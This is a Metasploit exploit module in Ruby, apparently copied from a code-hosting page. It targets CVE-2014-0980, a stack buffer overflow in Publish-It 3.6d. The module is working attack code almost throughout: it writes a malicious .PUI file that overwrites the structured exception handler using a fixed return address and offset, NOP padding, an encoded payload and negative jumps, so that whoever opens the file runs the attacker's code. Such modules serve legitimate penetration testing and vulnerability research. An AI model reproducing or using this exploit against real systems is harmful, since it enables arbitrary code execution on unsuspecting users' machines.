81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
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'Description' => %q{
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This module exploits a stack based buffer overflow in Publish-It when
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processing a specially crafted .PUI file. This vulnerability could be
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exploited by a remote attacker to execute arbitrary code on the target
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machine by enticing a user of Publish-It to open a malicious .PUI file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Daniel Kazimirow', # Original discovery
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'Andrew Smith "jakx_"', # Exploit and MSF Module
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],
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'References' =>
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[
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[ 'OSVDB', '102911' ],
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[ 'CVE', '2014-0980' ],
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[ 'EDB', '31461' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0b\x0a",
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'DisableNops' => true,
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'Space' => 377
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},
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'Targets' =>
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[
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[ 'Publish-It 3.6d',
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{
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'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
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'Offset' => 1082
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 5 2014',
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'DefaultTarget' => 0))
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register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),])
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end
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def exploit
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path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
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fd = File.open(path, "rb")
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template_data = fd.read(fd.stat.size)
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fd.close
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buffer = template_data
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buffer << make_nops(700)
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buffer << payload.encoded
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buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
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buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
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buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
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buffer << make_nops(2)
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buffer << [target.ret].pack("V")
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(buffer)
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end
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end
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